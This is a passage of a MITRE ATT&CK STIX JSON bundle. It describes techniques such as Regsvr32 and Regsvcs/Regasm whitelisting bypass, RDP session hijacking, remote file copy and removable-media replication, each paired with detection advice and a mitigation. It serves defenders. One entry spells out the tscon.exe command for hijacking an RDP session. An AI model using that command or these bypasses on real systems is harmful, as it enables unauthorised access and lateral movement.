                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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        },
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            "type": "course-of-action",
            "id": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Regsvcs/Regasm Mitigation",
            "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1121",
                    "external_id": "T1121"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:33.499Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Regsvcs/Regasm",
            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
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                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1121",
                    "external_id": "T1121"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass",
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017."
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                "Casey Smith"
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            "x_mitre_data_sources": [
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Process whitelisting"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Regsvr32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/wiki/Technique/T1117",
                    "external_id": "T1117"
                },
                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:26.966Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Regsvr32",
            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1117",
                    "external_id": "T1117"
                },
                {
                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
                },
                {
                    "source_name": "SubTee Regsvr32 Whitelisting Bypass",
                    "description": "[ Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017."
                },
                {
                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
                    "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html"
                }
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            "x_mitre_contributors": [
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            "x_mitre_data_sources": [
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                "Process monitoring",
                "Process command-line parameters",
                "Windows Registry"
            ],
            "x_mitre_permissions_required": [
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                "Administrator"
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            "x_mitre_defense_bypassed": [
                "Process whitelisting",
                "Anti-virus"
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            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote Desktop Protocol Mitigation",
            "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.  (Citation: Windows RDP Sessions)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1076",
                    "external_id": "T1076"
                },
                {
                    "source_name": "Berkley Secure",
                    "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.",
                    "url": "https://security.berkeley.edu/node/94"
                },
                {
                    "source_name": "Windows RDP Sessions",
                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:59.769Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote Desktop Protocol",
            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward",
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                    "phase_name": "lateral-movement"
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            ],
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1076",
                    "external_id": "T1076"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Alperovitch Malware",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
                },
                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
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            "x_mitre_permissions_required": [
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                "Remote Desktop Users"
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            "x_mitre_platforms": [
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            "x_mitre_system_requirements": [
                "RDP service enabled, account in the Remote Desktop Users group."
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote File Copy Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1105",
                    "external_id": "T1105"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:16.408Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote File Copy",
            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
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                    "phase_name": "command-and-control"
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                    "phase_name": "lateral-movement"
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                    "url": "https://attack.mitre.org/wiki/Technique/T1105",
                    "external_id": "T1105"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Packet capture",
                "Process use of network",
                "Netflow/Enclave netflow",
                "Network protocol analysis",
                "Process monitoring"
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            "x_mitre_network_requirements": true,
            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote Services Mitigation",
            "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1021",
                    "external_id": "T1021"
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            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:29.858Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote Services",
            "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
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                    "phase_name": "lateral-movement"
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                    "url": "https://attack.mitre.org/wiki/Technique/T1021",
                    "external_id": "T1021"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "x_mitre_data_sources": [
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            "x_mitre_system_requirements": [
                "Active remote service accepting connections and valid credentials"
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            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote System Discovery Mitigation",
            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1018",
                    "external_id": "T1018"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:30:28.187Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Remote System Discovery",
            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1018",
                    "external_id": "T1018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "Network protocol analysis",
                "Process command-line parameters",
                "Process monitoring",
                "Process use of network"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "course-of-action",
            "id": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2018-01-17T12:56:55.080Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1091",
                    "external_id": "T1091"
                },
                {
                    "source_name": "Microsoft Disable Autorun",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/967715"
                },
                {
                    "source_name": "TechNet Removable Media Control",
                    "description": "Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "source_name": "Windows Commands JPCERT",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                },
                {
                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:08.977Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Replication Through Removable Media",
            "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Technique/T1091",
                    "external_id": "T1091"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Data loss prevention"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_system_requirements": [
                "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
